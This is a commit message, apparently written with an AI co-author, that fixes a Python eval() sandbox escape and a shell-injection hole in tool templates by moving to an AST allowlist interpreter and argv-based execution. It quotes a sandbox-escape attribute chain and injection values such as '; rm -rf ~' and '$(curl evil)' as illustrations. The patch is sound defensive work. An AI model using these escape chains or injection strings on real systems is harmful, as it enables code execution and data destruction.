`python`-action tool templates evaluated expressions with `eval()` under a
restricted `__builtins__`. That sandbox is escapable via attribute walks like
`str.__class__.__mro__[-1].__subclasses__()`, reaching `object.__subclasses__()`
and arbitrary code. `shell`-action templates interpolated parameters into a
string and ran it with `shell=True`, so a value like `; rm -rf ~` or
`$(curl evil)` executed in the host shell.
Fixes:
- Replace `eval()` with a small AST interpreter (`safe_eval_expr`) that
implements an explicit node allowlist — literals, names, arithmetic/boolean/
comparison ops, ternaries, subscripts, container literals, and calls to a
fixed set of builtins only. Attribute access, lambdas, comprehensions, and
dunder names have no implementation and raise `ValueError`, so the escape
vectors are unreachable by construction. No `eval`/`exec` remains.
- Shell action: tokenize the FIXED template with `shlex.split` first, then
substitute params into individual argv elements and run with `shell=False`.
Injected metacharacters become inert literal arguments.
All shipped builtin templates (`str(float(value))`, `str(input) if input
else ...`, etc.) continue to work. Verified empirically: every known escape
payload is rejected and a `; touch <marker>` / `$(touch <marker>)` /
backtick injection never creates the marker file.
Closes#216
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
